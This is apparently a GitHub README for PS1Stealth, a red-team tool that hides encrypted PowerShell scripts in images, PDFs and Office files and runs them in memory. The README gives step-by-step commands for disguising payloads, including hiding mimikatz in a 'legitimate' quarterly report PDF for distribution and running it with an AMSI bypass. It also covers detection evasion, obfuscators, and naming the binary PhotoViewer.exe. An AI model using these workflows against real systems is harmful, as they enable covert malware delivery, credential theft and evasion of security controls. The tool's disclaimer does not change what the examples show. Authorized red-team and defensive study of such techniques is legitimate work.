Skip to content

bidhata/PS1Stealth

Repository files navigation

PS1Stealth - Advanced PowerShell Payload Embedding Tool

Red Team .NET 8.0 Platform Developer

PS1Stealth is a comprehensive C# Red Teaming tool for embedding PowerShell scripts into various file formats using polyglot techniques, steganography, and binary manipulation. Inspired by the beheader polyglot generator.

⚠️ Legal Disclaimer

FOR AUTHORIZED SECURITY TESTING ONLY

This tool is intended for:

  • Authorized penetration testing
  • Red team exercises
  • Security research
  • Educational purposes

Unauthorized use against systems you don't own or have explicit permission to test is illegal. The authors are not responsible for misuse.

🎯 Features

Multiple Embedding Methods

  1. ImageLSB - Least Significant Bit Steganography

    • Hides payload in image pixels
    • Visually imperceptible
    • Works with PNG/BMP
    • ~1 byte per 8 pixels capacity
  2. ImagePolyglot - ICO Polyglot Files

    • Creates valid ICO files with hidden payload
    • Inspired by beheader's technique
    • High capacity
  3. PdfPolyglot - PDF Stream Injection

    • Embeds payload in PDF stream objects
    • Maintains valid PDF structure
    • Medium capacity
  4. ZipComment - ZIP Comment Field

    • Works with ZIP, JAR, APK, DOCX, XLSX
    • Low to medium capacity
    • Simple and effective
  5. IcoAtom - ICO Header Manipulation

    • Uses ICO reserved bytes and padding
    • Similar to MP4 atom technique
    • Variable capacity

Security Features

  • AES-256 Encryption - Strong payload encryption
  • PBKDF2 Key Derivation - 100,000 iterations with SHA-256
  • GZip Compression - Reduces payload size
  • In-Memory Execution - No disk writes during execution
  • AMSI Bypass - Optional AMSI evasion (educational)

πŸ“¦ Installation

Prerequisites

  • .NET 8.0 SDK or later
  • Windows OS
  • PowerShell 5.1 or later

Build from Source

# Clone or download the repository
cd PS1Stealth

# Restore dependencies
dotnet restore

# Build release version
dotnet build -c Release

# Publish as single executable
dotnet publish -c Release -r win-x64 --self-contained -p:PublishSingleFile=true

The executable will be in bin/Release/net8.0-windows/win-x64/publish/PhotoViewer.exe

πŸš€ Usage

Basic Commands

# Display help
PS1Stealth.exe --help

# Show embedding methods info
PS1Stealth.exe info

Standalone Extraction (Recommended)

For extraction on target machines, use the C#-less PowerShell script Extract.ps1. This "living off the land" approach avoids dropping compiled binaries.

# Extract to file
.\Extract.ps1 -InputFile "3_embedded.mp4" -Password "Secret123!" -OutputFile "payload.ps1"

# Execute in-memory
.\Extract.ps1 -InputFile "5_embedded.pdf" -Password "Secret123!" -Execute

Supported Formats for Extract.ps1:

  • MP4 (Mp4Atom)
  • PDF (PdfPolyglot)
  • ZIP/Office (ZipComment)
  • ICO (Polyglot/Atom)
  • Note: ImageLSB is not supported by the standalone script.

Embedding a Script

# Basic embedding (ImageLSB)
PS1Stealth.exe embed script.ps1 photo.png output.png --method ImageLSB

# With encryption
PS1Stealth.exe embed script.ps1 photo.png output.png --method ImageLSB --password MySecret123

# With compression disabled
PS1Stealth.exe embed script.ps1 photo.png output.png --method ImageLSB --compress false

# PDF polyglot
PS1Stealth.exe embed script.ps1 document.pdf output.pdf --method PdfPolyglot --password Secret

# ZIP comment (works with DOCX, XLSX, etc.)
PS1Stealth.exe embed script.ps1 document.docx output.docx --method ZipComment --password Secret

Extracting a Script

# Extract from polyglot file
PS1Stealth.exe extract output.png extracted.ps1 --method ImageLSB --password MySecret123

# Extract from PDF
PS1Stealth.exe extract output.pdf extracted.ps1 --method PdfPolyglot --password Secret

Executing In-Memory

# Execute directly from polyglot file (no disk writes)
PS1Stealth.exe execute output.png --method ImageLSB --password MySecret123

# With AMSI bypass attempt
PS1Stealth.exe execute output.png --method ImageLSB --password MySecret123 --bypass-amsi

πŸ“‹ Examples

Example 1: Hide Reconnaissance Script in Company Logo

# Create a recon script
@"
Get-NetIPConfiguration
Get-Process
whoami /all
"@ | Out-File recon.ps1

# Embed in company logo
PS1Stealth.exe embed recon.ps1 company_logo.png logo_modified.png --method ImageLSB --password CompanySecret2024

# Execute on target
PS1Stealth.exe execute logo_modified.png --method ImageLSB --password CompanySecret2024

Example 2: Payload in PDF Report

# Embed credential dumper in quarterly report
PS1Stealth.exe embed mimikatz.ps1 Q4_Report.pdf Q4_Report_Final.pdf --method PdfPolyglot --password Q4Budget

# Distribute the "legitimate" PDF
# Later execute from the PDF
PS1Stealth.exe execute Q4_Report_Final.pdf --method PdfPolyglot --password Q4Budget --bypass-amsi

Example 3: Office Document Payload

# Hide payload in Excel spreadsheet
PS1Stealth.exe embed payload.ps1 Financial_Data.xlsx Financial_Data_Updated.xlsx --method ZipComment --password Finance2024

# File remains a valid Excel document
# Extract and execute when needed
PS1Stealth.exe execute Financial_Data_Updated.xlsx --method ZipComment --password Finance2024

πŸ—οΈ Architecture

PS1Stealth/
β”œβ”€β”€ Core/
β”‚   β”œβ”€β”€ IEmbedder.cs          # Embedder interface
β”‚   β”œβ”€β”€ PayloadData.cs        # Data models
β”‚   β”œβ”€β”€ CryptoHelper.cs       # AES-256 encryption & compression
β”‚   └── BinaryHelper.cs       # Binary manipulation utilities
β”œβ”€β”€ Embedders/
β”‚   β”œβ”€β”€ ImageLSBEmbedder.cs   # LSB steganography
β”‚   β”œβ”€β”€ ImagePolyglotEmbedder.cs  # ICO polyglot
β”‚   β”œβ”€β”€ PdfPolyglotEmbedder.cs    # PDF injection
β”‚   β”œβ”€β”€ ZipCommentEmbedder.cs     # ZIP comment
β”‚   └── IcoAtomEmbedder.cs        # ICO atom manipulation
β”œβ”€β”€ Executors/
β”‚   └── PowerShellExecutor.cs # In-memory PS execution
└── Program.cs                # CLI interface

πŸ”¬ Technical Details

Polyglot Technique

Inspired by beheader, PS1Stealth creates files that are valid in multiple formats simultaneously. The key concepts:

  1. Format Tolerance - Different parsers ignore different parts of files
  2. Strategic Placement - Payload placed where primary parser ignores it
  3. Header Manipulation - Careful manipulation of file headers
  4. Offset Adjustment - Updating offsets when necessary

Encryption

  • Algorithm: AES-256-CBC
  • Key Derivation: PBKDF2-HMAC-SHA256 (100,000 iterations)
  • Salt: 32 random bytes per payload
  • IV: 16 random bytes per payload

Payload Format

[Magic: "PS1X" (4 bytes)]
[Length: int32 (4 bytes)]
[Flags: byte (1 byte)]
  - Bit 0: Compressed
  - Bit 1: Encrypted
[Reserved: 3 bytes]
[Payload Data: variable]

πŸ›‘οΈ Detection Evasion

Current Techniques

  1. In-Memory Execution - No .ps1 files written to disk
  2. Encryption - AES-256 encrypted payloads
  3. Compression - Obfuscates payload patterns
  4. Polyglot Files - Legitimate file format carriers
  5. AMSI Bypass - Optional AMSI evasion

Limitations

  • Signature Detection: Known AMSI bypass may be detected
  • Behavioral Analysis: EDR may detect execution patterns
  • Network Monitoring: C2 communication still detectable
  • Memory Scanning: In-memory payloads can be scanned

πŸ”§ Advanced Usage

Custom Embedding

You can create custom embedders by implementing IEmbedder:

public class CustomEmbedder : IEmbedder
{
    public async Task<byte[]> EmbedAsync(byte[] carrierData, PayloadData payload)
    {
        // Your embedding logic
    }

    public async Task<string> ExtractAsync(byte[] polyglotData, string? password = null)
    {
        // Your extraction logic
    }
}

Programmatic Usage

using PS1Stealth.Core;
using PS1Stealth.Embedders;

var embedder = new ImageLSBEmbedder();
var payload = new PayloadData
{
    ScriptContent = "Write-Host 'Hello from hidden script!'",
    Password = "MyPassword",
    UseCompression = true
};

var carrierData = await File.ReadAllBytesAsync("image.png");
var polyglot = await embedder.EmbedAsync(carrierData, payload);
await File.WriteAllBytesAsync("output.png", polyglot);

πŸ“Š Comparison with Beheader

Feature Beheader PS1Stealth
Language JavaScript (Bun) C# (.NET)
Platform Linux Windows
Target Format Media files PowerShell scripts
Formats ICO+MP4+HTML+PDF+ZIP PNG+ICO+PDF+ZIP+DOCX
Encryption No AES-256
Execution No In-memory PowerShell
Dependencies ffmpeg, ImageMagick, mp4edit None (.NET only)
Use Case Media polyglots Red Team operations

πŸŽ“ Educational Resources

Understanding Polyglot Files

PowerShell Security

βš™οΈ Building for Production

Obfuscation

Consider using:

  • ConfuserEx - .NET obfuscator
  • .NET Reactor - Commercial obfuscator
  • Eazfuscator.NET - Code protection

Code Signing

# Sign the executable (requires code signing certificate)
signtool sign /f certificate.pfx /p password /t http://timestamp.digicert.com PhotoViewer.exe

Single File Deployment

dotnet publish -c Release -r win-x64 --self-contained true `
  -p:PublishSingleFile=true `
  -p:IncludeNativeLibrariesForSelfExtract=true `
  -p:EnableCompressionInSingleFile=true

🀝 Contributing

Contributions are welcome! Please:

  1. Fork the repository
  2. Create a feature branch
  3. Make your changes
  4. Add tests if applicable
  5. Submit a pull request

πŸ“ License

This project is licensed under the MIT License for educational and authorized testing purposes only.

πŸ™ Credits

  • Inspired by beheader by p2r3
  • AMSI bypass techniques from public research
  • File format specifications from various open sources

πŸ‘¨β€πŸ’» Developer

Krishnendu Paul

πŸ“§ Contact

Use responsibly and only on systems you own or have explicit permission to test.


Remember: With great power comes great responsibility. Use this tool ethically and legally.

About

Stealth Polygot generator for Windows

Topics

Resources

Stars

Watchers

Forks

Packages

No packages published